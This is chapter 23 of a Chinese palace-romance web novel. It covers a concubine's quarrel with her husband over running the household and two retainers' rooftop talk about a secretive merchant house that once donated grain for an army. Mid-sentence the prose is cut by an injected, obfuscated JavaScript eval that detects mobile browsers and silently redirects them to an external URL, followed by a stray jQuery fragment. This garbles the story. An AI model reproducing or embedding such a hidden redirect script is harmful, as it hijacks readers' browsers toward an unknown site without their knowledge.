文趣网 > 其他小说 > 贵妾的演技大赏 > 23. 第 23 章
    晚膳时分,甄芙轻描淡写的将管家之事同赵域说了。

    赵域浓眉微蹙,盯着她瞧了一瞬。

    他是个杀神,上过无数次战场,当他用这种深而沉的眸光盯住一个人的时候,往往代表着杀机。

    若换个寻常人早就吓的两股战战,可甄芙不怕,非但不怕,还抬手替他布了一道菜。

    “妾知道自己生的好看,但世子爷别光盯着妾瞧,用膳要紧。”

    赵域将手中的碗筷不轻不重的放置食案,淡声问,“王府中馈何时成了你卖弄人情的筏子?”

    甄芙答,“从世子爷将府中对牌交到妾手中的时候。”

    她说完,见赵域目光又沉了两分,方不紧不慢的将手按在他小臂上晃了晃,“世子爷莫急,总要给妾一个分辨清白的机会。”

    赵域冷笑不语,执起汤羹慢条斯理的喝着碗中的白玉汤,一副且看你如何狡辩的模样。

    被晾在一旁的甄芙倒也没觉得骑虎难下,她一贯的性格,谁不让她下便去解决谁。

    “世子爷知道妾在青云观里清修六个年头,若说抄经打座妾倒是在行,可管家理事却实在短板。劳世子爷您信重,妾拿着这对牌思来想去实在惶恐,这才寻了有些经验的秦姐姐一道协理王府中事。未先告知您便做了决断是妾的错,妾认罚,只求世子爷别跟妾置气呀。”

    她说着,替赵域夹了一筷子凉拌鸡丝,伴着脸上的小意忐忑,着实叫人难以生下气去。

    装可怜罢了。赵域心下冷哼一声,只等将她布好的菜吃完,才幽幽道,“你与其在这里同我歪缠,不若趁早想想王妃那里如何交待。王妃身体不好,倘若因为你一时任性动了怒气,别指望本世子会替你说情。”

    甄芙见状心绪放平,面上却更为紧张,她干脆两只手一道抱住赵域的胳膊,小儿无赖似的不撒手。

    “世子爷,一日夫妻百日恩呐,咱们好歹也做了有些时日的夫妻了,您可不能见死不救。”

    赵域被她一句话呛的红了耳根,轻斥道,“甄氏,说的什么疯话,且注意你的身份。”

    “哦。”甄芙将手撂开了去,将身上的圆凳也往远处划了划,把两人距离拉出尺来宽的距离。

    面上是倔强坚强,语气里却难掩落寞,“是妾逾越了,妾忘了自己不过是个贵妾罢了,哪里配同世子爷以夫妻相称,世子爷勿恼,以后再不会了。”

    她说罢,只从圆凳上起身,冲知渔吩咐一声,“替我寻一件素净的衣裳,明儿一早我便去宁芜院给王妃娘娘请罪,只要我跪的心诚,娘娘总有消气的时候。”

    说罢也不理尚未用完膳的赵域,搭着知渔的手便往内室去了。

    只留赵域一人坐在食案前生闷气,这个混账,分明是她自个行事无度,他还没给她算账,倒竟是同他摆起脸来了。

    又想到她说要去宁芜院跪着请罪,只觉碗中饭菜难以下咽,索性撂开手去,不吃了。

    须臾,怜月进来回话,“姨娘,世子爷回前院书房了。”

    寻常用过晚膳,赵域一般会直接留下,同甄芙下棋打发时间,或是拿了书册在灯下消遣。今日席间两人话不投机,瞧着样子倒是置起了气。

    彼时,甄芙歪在榻上翻着农书,津津有味的研读着萝卜的种法,听了怜月的话眉头都未皱上一下,“回便回罢,难不成还要我亲自去送不成?”

    怜月张了张嘴,知渔冲她摆了摆手示意她先出去。

    等人离开后,才开口慢慢分析局势,“姨娘,奴婢觉得您不该跟世子硬碰硬。王妃那里对您本来就颇有些意见,如今您又把人家跟前的红人给得罪了个底掉,若没世子在前头替您顶这一道,奴婢担心她会借题发挥……”

    甄芙放下手里的书册,难得凝眉思索一瞬,然后冲知渔招了招手,待她近前方道,“你用飞鸽给冯长尽传个信,叫他从西齐给我弄些甜萝卜的种子。书上说,这种萝卜外紫内绿,味若瓜果,夏天吃了最是生津止渴。”

    知渔……合着这半天她们都白担心了,人家是一点也不往心里去。

    这一晚赵域独睡前院书房。

    夜深人静之际,江平跟沈齐就着一小碟花生米半夜不睡,跑到屋顶上磕牙。

    “老沈,这是我从密州特地给你带来机巧玩具,你且看值不值一顿好酒?”

    沈齐看着江平手里的孔明锁,默默吞下将要反驳的话。

    他拿在手里翻来覆去的看了半晌,这孔明锁确实做的精巧,汉白玉的质地,打磨的十分光滑,其中一块玉件刻着风华斋的徽标。沈齐目光一闪,“这东西瞧着像是价格不菲。”

    “那是。”江平一副肉疼的模样,“你是不知道,为了买这它我可是天不亮就去排了队,足足花了一两银子。”

    沈齐把玩着手里的孔明锁,不知在想什么,只问,“风华斋的生意这般火爆么?”

    “自然,众人皆知风华斋出来的物件无一不精巧,价格虽比旁边要贵些,却也受文人墨客追捧。这几年名气更是在外,听说前阵子天价出了一枚上等玉做的九连环!”

    他拿手冲着沈齐比了个数,接着摇了摇头,“这些个有钱人,可真是一掷千金呐。”

    比起江平关注的表面价钱问题,沈齐却看的更深更远。

    “风华斋这几年势头起的宛如飓风过境,这才多久便从一家小小的杂货铺子到大晋头一份的实力富商

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546272|202449||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。不止咱们大晋,便是周边几个邻属国里,也设了多家商号。”

    江平不解,打趣道,“你怎么突然对一家商号这般上心?别是嫉妒人家日进斗金罢?”

    沈齐摇摇头,“上心的不是我,是世子爷。”

    听到是主子意思,江平难得正色起来,“风华斋有问题?”

    沈齐再摇头,“未有。我查了良久,甚至查不出它背后经营者的半分信息,正因如此,才显出它的不寻常。”

    江平关心的却是另一桩,“世子爷为何要你查它?难不成……”

    沈齐道,“你还记得三年前云州大战,焦灼之际粮草告急,朝廷送的补给又在数百里之外,远水解不了近渴,世子便叫我带人去城中征粮,可那时云州战事已断断续续打了近一年时间,百姓生计尚需朝廷救济,又哪里有余粮卖给我们……”

    江平了然,“所以此时风华斋跳了出来,拿着大把粮草以高价卖给世子,趁机大发国难财。若是这样的话便说通了,咱们世子最擅长的事除却打仗便是秋后算账。”

    沈齐不知道凭江平这般天真愚蠢脑子,怎么能在世子身边一跟就是十多年。他略显无语的翻了个白眼,没好气的同一根筋解释,“风华斋是跳了出来,他运来了几十车的粮食足够解当时的燃眉之困,不过却不是卖,而是送。”

    “送?”

    不怪江平吃惊。战火连绵的时节,每一粒粮食都宛如一粒金,这几十车粮食若是散到市场上卖掉,江平便是不通生意,也知道意味着什么,“那后来可查出了什么蛛丝马迹?”

    沈齐再摇头,作为赵域麾下第一等的情报头子,难得脸上生出一丝挫败,“未有,不但没查出来,还叫对方有了察觉。那风华斋背后的主人也是硬茬子,只给世子留了话,说他并非高风亮节之人,不过是作为晋朝百姓在大义面前略为国家尽一分力,不求闻达不求虚名,也万望世子莫要恩将仇报。”

    江平……

    对方这般硬气,属实叫人没想到。

    二人还欲再聊,只听书房的门吱呀一声,接着就见赵域走了出来。

    他脸色不好,目光沉沉。

    江平沈齐皆以为是他们方才的谈论惊扰了世子爷歇息。

    对视一眼慌忙从屋顶翻下来,站到主子面前双双低头请罪。

    “属下深夜喧哗,惊扰世子休憩,请世子责罚。”

    赵域倒是没有多加为难,丢下一句下不为例,施施然的走出院门。

    “这大半夜的,世子要去哪里?”江平一脸懵,提步就要跟上。

    被沈齐一把抓住肩膀,“世子爷自有去处,老实回屋歇了你的。”

    ……